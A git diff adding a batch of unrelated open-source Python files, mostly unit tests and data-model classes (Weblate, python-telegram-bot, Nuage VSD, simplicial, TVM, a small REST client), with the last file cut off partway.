diff --git a/pool/shard000/Python/0008405_test_middleware.py b/pool/shard000/Python/0008405_test_middleware.py
new file mode 100644
index 0000000000000000000000000000000000000000..05dfe44c3f5200f00cbbe5b3b99c4244f6ebbffe
--- /dev/null
+++ b/pool/shard000/Python/0008405_test_middleware.py
@@ -0,0 +1,71 @@
+# -*- coding: utf-8 -*-
+#
+# Copyright © 2012 - 2016 Michal Čihař <michal@cihar.com>
+#
+# This file is part of Weblate <https://weblate.org/>
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+
+"""
+Tests for user handling.
+"""
+
+from django.test import TestCase
+from django.contrib.auth.models import AnonymousUser, User
+from django.test.utils import override_settings
+from django.http import HttpRequest, HttpResponseRedirect
+
+from weblate.accounts.middleware import RequireLoginMiddleware
+
+
+class MiddlewareTest(TestCase):
+    def view_method(self):
+        return 'VIEW'
+
+    def test_disabled(self):
+        middleware = RequireLoginMiddleware()
+        request = HttpRequest()
+        self.assertIsNone(
+            middleware.process_view(request, self.view_method, (), {})
+        )
+
+    @override_settings(LOGIN_REQUIRED_URLS=(r'/project/(.*)$',))
+    def test_protect_project(self):
+        middleware = RequireLoginMiddleware()
+        request = HttpRequest()
+        request.user = User()
+        request.META['SERVER_NAME'] = 'server'
+        request.META['SERVER_PORT'] = '80'
+        # No protection for not protected path
+        self.assertIsNone(
+            middleware.process_view(request, self.view_method, (), {})
+        )
+        request.path = '/project/foo/'
+        # No protection for protected path and logged in user
+        self.assertIsNone(
+            middleware.process_view(request, self.view_method, (), {})
+        )
+        # Protection for protected path and not logged in user
+        # pylint: disable=R0204
+        request.user = AnonymousUser()
+        self.assertIsInstance(
+            middleware.process_view(request, self.view_method, (), {}),
+            HttpResponseRedirect
+        )
+        # No protection for login and not logged in user
+        request.path = '/accounts/login/'
+        self.assertIsNone(
+            middleware.process_view(request, self.view_method, (), {})
+        )
diff --git a/pool/shard000/Python/0008406_question.py b/pool/shard000/Python/0008406_question.py
new file mode 100644
index 0000000000000000000000000000000000000000..c2d80c62e7331c3413f6675e66468b68e9efa9d1
--- /dev/null
+++ b/pool/shard000/Python/0008406_question.py
@@ -0,0 +1,63 @@
+from .buzzfeed_choice import BuzzfeedChoice
+from .diagnostic_choice import DiagnosticChoice
+
+
+class Question(object):
+    """
+    method to questions json in required format
+    """
+
+    id = ""
+    title = ""
+    text = ""
+    group = ""
+    choices = ""
+
+    def __init__(self, **params):
+        self.id = params['id']
+        self.order = params['order']
+        self.title = params['title']
+        self.text = params['text']
+        self.group = params['group']
+        self.choices = params['choices']
+
+    @classmethod
+    def get_object(cls, question, choices):
+        """
+        return object of a question
+        :param question: posted question
+        :param choices: posted choices for each question
+        :return: question object
+        """
+        return cls(id=question.get('id', ''), order=question.get('order', ''), title=question.get('question_title', ''),
+                   group=question.get('group'), text=question.get('question_txt', ''), choices=choices)
+
+    def get_json(self):
+        """
+        return question json in required format to save
+        :return: dict
+        """
+        return {'id': self.id, 'order': self.order, 'title': self.title, 'text': self.text, 'group': self.group,
+                'choices': self.choices}
+
+    @classmethod
+    def filter_question(cls, data, quiz_type):
+        """
+        get only required data for each posted question
+        :param data: list of posted questions
+        :param quiz_type: type of quiz
+        :return: filtered list of questions json
+        """
+        results = []
+        questions = data.get('questions')
+
+        for question in questions:
+            choices = question.get('choices', [])
+            if quiz_type == 'BFQ':
+                choices_json = BuzzfeedChoice.get_choices_json(choices)
+            else:
+                choices_json = DiagnosticChoice.get_choices_json(choices)
+
+            qs = cls.get_object(question, choices_json)
+            results.append(qs.get_json())
+        return results
diff --git a/pool/shard000/Python/0008407_test_labeledprice.py b/pool/shard000/Python/0008407_test_labeledprice.py
new file mode 100644
index 0000000000000000000000000000000000000000..bfcd72edda2263e2f849ac5a1d48301a87e0d881
--- /dev/null
+++ b/pool/shard000/Python/0008407_test_labeledprice.py
@@ -0,0 +1,66 @@
+#!/usr/bin/env python
+#
+# A library that provides a Python interface to the Telegram Bot API
+# Copyright (C) 2015-2021
+# Leandro Toledo de Souza <devs@python-telegram-bot.org>
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser Public License for more details.
+#
+# You should have received a copy of the GNU Lesser Public License
+# along with this program.  If not, see [http://www.gnu.org/licenses/].
+import pytest
+
+from telegram import LabeledPrice, Location
+
+
+@pytest.fixture(scope='class')
+def labeled_price():
+    return LabeledPrice(TestLabeledPrice.label, TestLabeledPrice.amount)
+
+
+class TestLabeledPrice:
+    label = 'label'
+    amount = 100
+
+    def test_slot_behaviour(self, labeled_price, recwarn, mro_slots):
+        inst = labeled_price
+        for attr in inst.__slots__:
+            assert getattr(inst, attr, 'err') != 'err', f"got extra slot '{attr}'"
+        assert not inst.__dict__, f"got missing slot(s): {inst.__dict__}"
+        assert len(mro_slots(inst)) == len(set(mro_slots(inst))), "duplicate slot"
+        inst.custom, inst.label = 'should give warning', self.label
+        assert len(recwarn) == 1 and 'custom' in str(recwarn[0].message), recwarn.list
+
+    def test_expected_values(self, labeled_price):
+        assert labeled_price.label == self.label
+        assert labeled_price.amount == self.amount
+
+    def test_to_dict(self, labeled_price):
+        labeled_price_dict = labeled_price.to_dict()
+
+        assert isinstance(labeled_price_dict, dict)
+        assert labeled_price_dict['label'] == labeled_price.label
+        assert labeled_price_dict['amount'] == labeled_price.amount
+
+    def test_equality(self):
+        a = LabeledPrice('label', 100)
+        b = LabeledPrice('label', 100)
+        c = LabeledPrice('Label', 101)
+        d = Location(123, 456)
+
+        assert a == b
+        assert hash(a) == hash(b)
+
+        assert a != c
+        assert hash(a) != hash(c)
+
+        assert a != d
+        assert hash(a) != hash(d)
diff --git a/pool/shard000/Python/0008408_nuoverlayaddresspool.py b/pool/shard000/Python/0008408_nuoverlayaddresspool.py
new file mode 100644
index 0000000000000000000000000000000000000000..d33c00917315c75e569710439af783ec55e6722f
--- /dev/null
+++ b/pool/shard000/Python/0008408_nuoverlayaddresspool.py
@@ -0,0 +1,357 @@
+# -*- coding: utf-8 -*-
+#
+# Copyright (c) 2015, Alcatel-Lucent Inc, 2017 Nokia
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+#     * Redistributions of source code must retain the above copyright
+#       notice, this list of conditions and the following disclaimer.
+#     * Redistributions in binary form must reproduce the above copyright
+#       notice, this list of conditions and the following disclaimer in the
+#       documentation and/or other materials provided with the distribution.
+#     * Neither the name of the copyright holder nor the names of its contributors
+#       may be used to endorse or promote products derived from this software without
+#       specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY
+# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+
+
+from .fetchers import NUMetadatasFetcher
+
+
+from .fetchers import NUGlobalMetadatasFetcher
+
+
+from .fetchers import NUOverlayPATNATEntriesFetcher
+
+from bambou import NURESTObject
+
+
+class NUOverlayAddressPool(NURESTObject):
+    """ Represents a OverlayAddressPool in the VSD
+
+        Notes:
+            The address pool the public IP of the PAT/NAT entries belong too.
+    """
+
+    __rest_name__ = "overlayaddresspool"
+    __resource_name__ = "overlayaddresspools"
+
+    
+    ## Constants
+    
+    CONST_IP_TYPE_IPV6 = "IPV6"
+    
+    CONST_IP_TYPE_IPV4 = "IPV4"
+    
+    CONST_ENTITY_SCOPE_GLOBAL = "GLOBAL"
+    
+    CONST_IP_TYPE_DUALSTACK = "DUALSTACK"
+    
+    CONST_ENTITY_SCOPE_ENTERPRISE = "ENTERPRISE"
+    
+    
+
+    def __init__(self, **kwargs):
+        """ Initializes a OverlayAddressPool instance
+
+            Notes:
+                You can specify all parameters while calling this methods.
+                A special argument named `data` will enable you to load the
+                object from a Python dictionary
+
+            Examples:
+                >>> overlayaddresspool = NUOverlayAddressPool(id=u'xxxx-xxx-xxx-xxx', name=u'OverlayAddressPool')
+                >>> overlayaddresspool = NUOverlayAddressPool(data=my_dict)
+        """
+
+        super(NUOverlayAddressPool, self).__init__()
+
+        # Read/Write Attributes
+        
+        self._ip_type = None
+        self._name = None
+        self._last_updated_by = None
+        self._description = None
+        self._end_address_range = None
+        self._entity_scope = None
+        self._associated_domain_id = None
+        self._start_address_range = None
+        self._external_id = None
+        
+        self.expose_attribute(local_name="ip_type", remote_name="IPType", attribute_type=str, is_required=False, is_unique=False, choices=[u'DUALSTACK', u'IPV4', u'IPV6'])
+        self.expose_attribute(local_name="name", remote_name="name", attribute_type=str, is_required=False, is_unique=False)
+        self.expose_attribute(local_name="last_updated_by", remote_name="lastUpdatedBy", attribute_type=str, is_required=False, is_unique=False)
+        self.expose_attribute(local_name="description", remote_name="description", attribute_type=str, is_required=False, is_unique=False)
+        self.expose_attribute(local_name="end_address_range", remote_name="endAddressRange", attribute_type=str, is_required=False, is_unique=False)
+        self.expose_attribute(local_name="entity_scope", remote_name="entityScope", attribute_type=str, is_required=False, is_unique=False, choices=[u'ENTERPRISE', u'GLOBAL'])
+        self.expose_attribute(local_name="associated_domain_id", remote_name="associatedDomainID", attribute_type=str, is_required=False, is_unique=False)
+        self.expose_attribute(local_name="start_address_range", remote_name="startAddressRange", attribute_type=str, is_required=False, is_unique=False)
+        self.expose_attribute(local_name="external_id", remote_name="externalID", attribute_type=str, is_required=False, is_unique=True)
+        
+
+        # Fetchers
+        
+        
+        self.metadatas = NUMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child")
+        
+        
+        self.global_metadatas = NUGlobalMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child")
+        
+        
+        self.overlay_patnat_entries = NUOverlayPATNATEntriesFetcher.fetcher_with_object(parent_object=self, relationship="child")
+        
+
+        self._compute_args(**kwargs)
+
+    # Properties
+    
+    @property
+    def ip_type(self):
+        """ Get ip_type value.
+
+            Notes:
+                The IP Type of this Overlay Address Pool, possible values are IPV4, IPV6 or DUALSTACK.
+
+                
+                This attribute is named `IPType` in VSD API.
+                
+        """
+        return self._ip_type
+
+    @ip_type.setter
+    def ip_type(self, value):
+        """ Set ip_type value.
+
+            Notes:
+                The IP Type of this Overlay Address Pool, possible values are IPV4, IPV6 or DUALSTACK.
+
+                
+                This attribute is named `IPType` in VSD API.
+                
+        """
+        self._ip_type = value
+
+    
+    @property
+    def name(self):
+        """ Get name value.
+
+            Notes:
+                Name for the PAT NAT pool
+
+                
+        """
+        return self._name
+
+    @name.setter
+    def name(self, value):
+        """ Set name value.
+
+            Notes:
+                Name for the PAT NAT pool
+
+                
+        """
+        self._name = value
+
+    
+    @property
+    def last_updated_by(self):
+        """ Get last_updated_by value.
+
+            Notes:
+                ID of the user who last updated the object.
+
+                
+                This attribute is named `lastUpdatedBy` in VSD API.
+                
+        """
+        return self._last_updated_by
+
+    @last_updated_by.setter
+    def last_updated_by(self, value):
+        """ Set last_updated_by value.
+
+            Notes:
+                ID of the user who last updated the object.
+
+                
+                This attribute is named `lastUpdatedBy` in VSD API.
+                
+        """
+        self._last_updated_by = value
+
+    
+    @property
+    def description(self):
+        """ Get description value.
+
+            Notes:
+                addresspool description
+
+                
+        """
+        return self._description
+
+    @description.setter
+    def description(self, value):
+        """ Set description value.
+
+            Notes:
+                addresspool description
+
+                
+        """
+        self._description = value
+
+    
+    @property
+    def end_address_range(self):
+        """ Get end_address_range value.
+
+            Notes:
+                The end address for the pool range.
+
+                
+                This attribute is named `endAddressRange` in VSD API.
+                
+        """
+        return self._end_address_range
+
+    @end_address_range.setter
+    def end_address_range(self, value):
+        """ Set end_address_range value.
+
+            Notes:
+                The end address for the pool range.
+
+                
+                This attribute is named `endAddressRange` in VSD API.
+                
+        """
+        self._end_address_range = value
+
+    
+    @property
+    def entity_scope(self):
+        """ Get entity_scope value.
+
+            Notes:
+                Specify if scope of entity is Data center or Enterprise level
+
+                
+                This attribute is named `entityScope` in VSD API.
+                
+        """
+        return self._entity_scope
+
+    @entity_scope.setter
+    def entity_scope(self, value):
+        """ Set entity_scope value.
+
+            Notes:
+                Specify if scope of entity is Data center or Enterprise level
+
+                
+                This attribute is named `entityScope` in VSD API.
+                
+        """
+        self._entity_scope = value
+
+    
+    @property
+    def associated_domain_id(self):
+        """ Get associated_domain_id value.
+
+            Notes:
+                The ID of the associated l3-domain.
+
+                
+                This attribute is named `associatedDomainID` in VSD API.
+                
+        """
+        return self._associated_domain_id
+
+    @associated_domain_id.setter
+    def associated_domain_id(self, value):
+        """ Set associated_domain_id value.
+
+            Notes:
+                The ID of the associated l3-domain.
+
+                
+                This attribute is named `associatedDomainID` in VSD API.
+                
+        """
+        self._associated_domain_id = value
+
+    
+    @property
+    def start_address_range(self):
+        """ Get start_address_range value.
+
+            Notes:
+                Start address for the pool range
+
+                
+                This attribute is named `startAddressRange` in VSD API.
+                
+        """
+        return self._start_address_range
+
+    @start_address_range.setter
+    def start_address_range(self, value):
+        """ Set start_address_range value.
+
+            Notes:
+                Start address for the pool range
+
+                
+                This attribute is named `startAddressRange` in VSD API.
+                
+        """
+        self._start_address_range = value
+
+    
+    @property
+    def external_id(self):
+        """ Get external_id value.
+
+            Notes:
+                External object ID. Used for integration with third party systems
+
+                
+                This attribute is named `externalID` in VSD API.
+                
+        """
+        return self._external_id
+
+    @external_id.setter
+    def external_id(self, value):
+        """ Set external_id value.
+
+            Notes:
+                External object ID. Used for integration with third party systems
+
+                
+                This attribute is named `externalID` in VSD API.
+                
+        """
+        self._external_id = value
+
+    
+
+    
\ No newline at end of file
diff --git a/pool/shard000/Python/0008413_test_generators.py b/pool/shard000/Python/0008413_test_generators.py
new file mode 100644
index 0000000000000000000000000000000000000000..40298ca0fcf7f5201cbb08559f3eedc4163b5134
--- /dev/null
+++ b/pool/shard000/Python/0008413_test_generators.py
@@ -0,0 +1,90 @@
+# Tests of generators
+#
+# Copyright (C) 2017--2020 Simon Dobson
+#
+# This file is part of simplicial, simplicial topology in Python.
+#
+# Simplicial is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# Simplicial is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Simplicial. If not, see <http://www.gnu.org/licenses/gpl.html>.
+
+import unittest
+import six
+from simplicial import *
+
+class GeneratorTests(unittest.TestCase):
+
+    def testSkeleton1simplex(self):
+        '''Test construction of a 1-simplex skeleton (a line).'''
+        c = k_skeleton(1)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 2)
+        self.assertTrue(ns[0], 2)
+        self.assertTrue(ns[1], 1)
+
+    def testSkeleton2simplex(self):
+        '''Test construction of a 2-simplex skeleton (a triangle).'''
+        c = k_skeleton(2)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 2)
+        self.assertTrue(ns[0], 3)
+        self.assertTrue(ns[1], 3)
+
+    def testSkeletonLargeSimplex(self):
+        '''Build the skeleton of a high-dimensional simplex, mainly as a soak test.'''
+        c = k_skeleton(10)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 2)
+  
+    def test1simplex(self):
+        '''Test construction of a 1-simplex (a line).'''
+        c = k_simplex(1)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 2)
+        self.assertTrue(ns[0], 2)
+        self.assertTrue(ns[1], 1)
+
+    def test2simplex(self):
+        '''Test construction of a 2-simplex (a filled triangle).'''
+        c = k_simplex(2)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 3)
+        self.assertTrue(ns[0], 3)
+        self.assertTrue(ns[1], 3)
+        self.assertTrue(ns[2], 1)
+
+    def testLargeSimplex(self):
+        '''Test construction of a high-dimensional simplex, mainly as a soak test.'''
+        c = k_simplex(10)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 11)
+
+    def test2void(self):
+        '''Test construction of a 2-void (an empty tetrahedron).'''
+        c = k_void(2)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 3)
+        self.assertTrue(ns[0], 4)
+        self.assertTrue(ns[1], 6)
+        self.assertTrue(ns[2], 4)
+
+    def testRing(self):
+        '''Test the construction of a ring.'''
+        c = ring(10)
+        ns = c.numberOfSimplicesOfOrder()
+        self.assertEqual(len(ns), 2)
+        self.assertTrue(ns[0], 10)
+        self.assertTrue(ns[1], 10)
+        betti = c.bettiNumbers([0, 1])
+        self.assertTrue(betti[0], 1)
+        self.assertTrue(betti[1], 1)
+
diff --git a/pool/shard000/Python/0008415_restclient.py b/pool/shard000/Python/0008415_restclient.py
new file mode 100644
index 0000000000000000000000000000000000000000..cac215ecb3c11df042d891a95ad27b2a46429ad2
--- /dev/null
+++ b/pool/shard000/Python/0008415_restclient.py
@@ -0,0 +1,134 @@
+from json import dumps
+from typing import Dict, List, Union, Any
+from requests import Session
+from requests.exceptions import BaseHTTPError
+import logging
+
+JSONValue = Union[str, int, float, bool, None, Dict[str, Any], List[Any]]
+JSONType = Union[Dict[str, JSONValue], List[JSONValue]]
+
+log = logging.getLogger(__name__)
+
+"""
+Defines very simple classes to create a callable interface to a REST api
+from a discovery REST description document.
+
+Intended as a super simple replacement for google-api-python-client, using
+requests instead of httplib2
+
+giles 2018
+"""
+
+
+# a dummy decorator to suppress unresolved references on this dynamic class
+def dynamic_attrs(cls):
+    return cls
+
+
+@dynamic_attrs
+class RestClient:
+    """ To create a callable client to a REST API, instantiate this class.
+    For details of the discovery API see:
+        https://developers.google.com/discovery/v1/using
+    """
+
+    def __init__(self, api_url: str, auth_session: Session):
+        """ """
+        self.auth_session: Session = auth_session
+        service_document = self.auth_session.get(api_url).json()
+        self.json: JSONType = service_document
+        self.base_url: str = str(service_document["baseUrl"])
+        for c_name, collection in service_document["resources"].items():
+            new_collection = Collection(c_name)
+            setattr(self, c_name, new_collection)
+            for m_name, method in collection["methods"].items():
+                new_method = Method(self, **method)
+                setattr(new_collection, m_name, new_method)
+
+
+# pylint: disable=no-member
+class Method:
+    """ Represents a method in the REST API. To be called using its execute
+    method, the execute method takes a single parameter for body and then
+    named parameters for Http Request parameters.
+
+    e.g.
+        api = RestClient(https://photoslibrary.googleapis.com/$discovery' \
+                             '/rest?version=v1', authenticated_session)
+        api.albums.list.execute(pageSize=50)
+    """
+
+    def __init__(self, service: RestClient, **k_args: Dict[str, str]):
+        self.path: str = None
+        self.httpMethod: str = None
+        self.service: RestClient = service
+        self.__dict__.update(k_args)
+        self.path_args: List[str] = []
+        self.query_args: List[str] = []
+        if hasattr(self, "parameters"):
+            for key, value in self.parameters.items():
+                if value["location"] == "path":
+                    self.path_args.append(key)
+                else:
+                    self.query_args.append(key)
+
+    def execute(self, body: str = None, **k_args: Dict[str, str]):
+        """ executes the remote REST call for this Method"""
+        path_args: Dict[str, str] = {
+            k: k_args[k] for k in self.path_args if k in k_args
+        }
+        query_args: Dict[str, str] = {
+            k: k_args[k] for k in self.query_args if k in k_args
+        }
+        path: str = self.service.base_url + self.make_path(path_args)
+        if body:
+            body = dumps(body)
+
+        log.trace(
+            "\nREQUEST: %s to %s params=%s\n%s",
+            self.httpMethod,
+            path,
+            query_args,
+            body,
+        )
+        result = self.service.auth_session.request(
+            self.httpMethod, data=body, url=path, timeout=10, params=query_args
+        )
+        log.trace("\nRESPONSE: %s\n%s", result.status_code, str(result.content))
+
+        try:
+            result.raise_for_status()
+        except BaseHTTPError:
+            log.error(
+                "Request failed with status {}: {}".format(
+                    result.status_code, result.content
+                )
+            )
+            raise
+        return result
+
+    def make_path(self, path_args: Dict[str, str]) -> str:
+        """ Extracts the arguments from path_args and inserts them into
+        the URL template defined in self.path
+
+        Returns:
+            The URL with inserted parameters
+        """
+        result = str(self.path)
+        path_params = []
+        for key, value in path_args.items():
+            path_param = "{{+{}}}".format(key)
+            if path_param in result:
+                result = result.replace("{{+{}}}".format(key), value)
+                path_params.append(key)
+        for key in path_params:
+            path_args.pop(key)
+        return result
+
+
+class Collection:
+    """ Used to represent a collection of methods
+    e.g. Google Photos API - mediaItems """
+
+    def __init__(self, name: str):
+        self.collection_name = name
diff --git a/pool/shard000/Python/0008416_analysis.py b/pool/shard000/Python/0008416_analysis.py
new file mode 100644
index 0000000000000000000000000000000000000000..e88d7b4032a6f2b3bd1d6fa957c102a049e3d533
--- /dev/null
+++ b/pool/shard000/Python/0008416_analysis.py
@@ -0,0 +1,55 @@
+import zope.event
+
+from Products.Archetypes.event import ObjectInitializedEvent
+from Products.CMFCore.WorkflowCore import WorkflowException
+from Products.CMFPlone.utils import _createObjectByType
+
+
+
+def create_analysis(context, service, keyword, interim_fields):
+    # Determine if the sampling workflow is enabled
+    workflow_enabled = context.bika_setup.getSamplingWorkflowEnabled()
+    # Create the analysis
+    analysis = _createObjectByType("Analysis", context, keyword)
+    analysis.setService(service)
+    analysis.setInterimFields(interim_fields)
+    analysis.setMaxTimeAllowed(service.getMaxTimeAllowed())
+    analysis.unmarkCreationFlag()
+    analysis.reindexObject()
+    # Trigger the intitialization event of the new object
+    zope.event.notify(ObjectInitializedEvent(analysis))
+    # Perform the appropriate workflow action
+    try:
+        workflow_action =  'sampling_workflow' if workflow_enabled \
+            else 'no_sampling_workflow'
+        context.portal_workflow.doActionFor(analysis, workflow_action)
+    except WorkflowException:
+        # The analysis may have been transitioned already!
+        # I am leaving this code here though, to prevent regression.
+        pass
+    # Return the newly created analysis
+    return analysis
+
+
+def format_numeric_result(analysis, result):
+    """Print the formatted number part of a results value.  This is responsible
+    for deciding the precision, and notation of numeric values.  If a non-numeric
+    result value is given, the value will be returned unchanged
+    """
+    try:
+        result = float(result)
+    except ValueError:
+        return result
+    service = analysis.getService()
+    # Possibly render in exponential notation
+    threshold = analysis.bika_setup.getExponentialFormatThreshold()
+    _sig = str("%f"%(result)).split(".")
+    sig_digits = _sig[0].lstrip("0") + _sig[1].rstrip("0")
+    if len(sig_digits) >= threshold:
+        exp_precision = service.getExponentialFormatPrecision()
+        return str("%%.%se" % exp_precision) % result
+    # If the result is floatable, render fixed point to the correct precision
+    precision = service.getPrecision()
+    if not precision:
+        precision = ''
+    return str("%%.%sf" % precision) % result
diff --git a/pool/shard000/Python/0008419_test_forward.py b/pool/shard000/Python/0008419_test_forward.py
new file mode 100644
index 0000000000000000000000000000000000000000..0f9747538ce92dd260aff0abc77311e35cd6ba24
--- /dev/null
+++ b/pool/shard000/Python/0008419_test_forward.py
@@ -0,0 +1,101 @@
+import numpy as np
+
+import topi
+import tvm
+from tvm.contrib import graph_runtime
+import nnvm.symbol as sym
+import nnvm.compiler
+from nnvm.testing.config import ctx_list
+from nnvm import frontend
+import mxnet as mx
+import model_zoo
+
+
+def verify_mxnet_frontend_impl(mx_symbol, data_shape=(1, 3, 224, 224), out_shape=(1, 1000)):
+    """Use name different from test to avoid let nose pick it up"""
+    def get_mxnet_output(symbol, x, dtype='float32'):
+        from collections import namedtuple
+        Batch = namedtuple('Batch', ['data'])
+        mod = mx.mod.Module(symbol, label_names=None)
+        mod.bind(data_shapes=[('data', x.shape)], for_training=False)
+        mod.init_params()
+        mod.forward(Batch([mx.nd.array(x.astype(dtype))]))
+        out = mod.get_outputs()[0].asnumpy()
+        args, auxs = mod.get_params()
+        return out, args, auxs
+
+    def get_tvm_output(symbol, x, args, auxs, target, ctx, dtype='float32'):
+        new_sym, params = frontend.from_mxnet(symbol, args, auxs)
+        dshape = x.shape
+        shape_dict = {'data': dshape}
+        with nnvm.compiler.build_config(opt_level=3):
+            graph, lib, params = nnvm.compiler.build(new_sym, target, shape_dict, params=params)
+        m = graph_runtime.create(graph, lib, ctx)
+        # set inputs
+        m.set_input("data", tvm.nd.array(x.astype(dtype)))
+        m.set_input(**params)
+        m.run()
+        # get outputs
+        out = m.get_output(0, tvm.nd.empty(out_shape, dtype))
+        return out.asnumpy()
+
+    # random input
+    dtype = 'float32'
+    x = np.random.uniform(size=data_shape)
+    mx_out, args, auxs = get_mxnet_output(mx_symbol, x, dtype)
+    assert "data" not in args
+    for target, ctx in ctx_list():
+        tvm_out = get_tvm_output(mx_symbol, x, args, auxs, target, ctx, dtype)
+        np.testing.assert_allclose(mx_out, tvm_out, rtol=1e-5, atol=1e-5)
+
+def test_forward_mlp():
+    mlp = model_zoo.mx_mlp
+    verify_mxnet_frontend_impl(mlp)
+
+def test_forward_vgg():
+    for n in [11]:
+        mx_sym = model_zoo.mx_vgg[n]
+        verify_mxnet_frontend_impl(mx_sym)
+
+def test_forward_resnet():
+    for n in [18]:
+        mx_sym = model_zoo.mx_resnet[n]
+        verify_mxnet_frontend_impl(mx_sym)
+
+def test_forward_elu():
+    data = mx.sym.var('data')
+    data = mx.sym.concat(data, -data, dim=1)  # negative part explicitly
+    mx_sym = mx.sym.LeakyReLU(data, act_type='elu')
+    verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 6, 100, 100))
+
+def test_forward_rrelu():
+    data = mx.sym.var('data')
+    data = mx.sym.concat(data, -data, dim=1)  # negative part explicitly
+    mx_sym = mx.sym.LeakyReLU(data, act_type='rrelu', lower_bound=0.3, upper_bound=0.7)
+    verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 6, 100, 100))
+
+def test_forward_softrelu():
+    data = mx.sym.var('data')
+    data = mx.sym.concat(data, -data, dim=1)  # negative part explicitly
+    mx_sym = mx.sym.Activation(data, act_type='softrelu')
+    verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 6, 100, 100))
+
+def test_forward_fc_flatten():
+    # test flatten=True option in mxnet 0.11.1
+    data = mx.sym.var('data')
+    try:
+        mx_sym = mx.sym.FullyConnected(data, num_hidden=100, flatten=True)
+        verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 100))
+        mx_sym = mx.sym.FullyConnected(mx.sym.Flatten(data), num_hidden=100, flatten=False)
+        verify_mxnet_frontend_impl(mx_sym, (1, 3, 100, 100), (1, 100))
+    except:
+        pass
+
+if __name__ == '__main__':
+    test_forward_mlp()
+    test_forward_vgg()
+    test_forward_resnet()
+    test_forward_elu()
+    test_forward_rrelu()
+    test_forward_softrelu()
+    test_forward_fc_flatten()
diff --git a/pool/shard000/Python/0008420_submit.agts.py b/pool/shard000/Python/0008420_submit.agts.py
new file mode 100644
index 0000000000000000000000000000000000000000..6ce9afc32dd05fee98a3c061f45d9d758a5e10fa
--- /dev/null
+++ b/pool/shard000/Python/0008420_submit.agts.py
@@ -0,0 +1,8 @@
+def agts(queue):
+    a = queue.add('atomize.py', ncpus=1, walltime=30, 
+                  creates=['atomization.txt'])
+    queue.add('relax.py', deps=a, ncpus=1, walltime=30,
+              creates=['optimization.txt'])
+    if 0:  # https://trac.fysik.dtu.dk/projects/gpaw/ticket/250
+        queue.add('ensembles.py', deps=a, ncpus=1, walltime=30,
+                  creates=['ensemble_energies.txt', 'ensemble.dat'])
diff --git a/pool/shard000/Python/0008423_ut_html_test_get_resources.py b/pool/shard000/Python/0008423_ut_html_test_get_resources.py
new file mode 100644
index 0000000000000000000000000000000000000000..3e614eed9ae89b6e787f8a669ebffc1e24d514f1
--- /dev/null
+++ b/pool/shard000/Python/0008423_ut_html_test_get_resources.py
@@ -0,0 +1,188 @@
+"""
+<Program>
+  test_get_resources.py
+
+<Started>
+  8/30/2009
+
+<Author>
+  Jason Chen
+  jchen@cs.washington.edu
+
+<Purpose>
+  Tests that the get_resources view function 
+  handles normal operation and exceptions correctly.
+  
+<Notes>
+  See test_register.py for an explanation of our usage of the Django test client.
+"""
+
+#pragma out
+
+
+# We import the testlib FIRST, as the test db settings 
+# need to be set before we import anything else.
+from seattlegeni.tests import testlib
+
+from seattlegeni.common.exceptions import *
+from seattlegeni.website.control import interface
+from seattlegeni.website.control import models
+
+from django.contrib.auth.models import User as DjangoUser
+
+# The django test client emulates a webclient, and returns what django
+# considers the final rendered result (in HTML). This allows to test purely the view
+# functions. 
+from django.test.client import Client
+
+
+# Declare our mock functions
+def mock_get_logged_in_user(request):
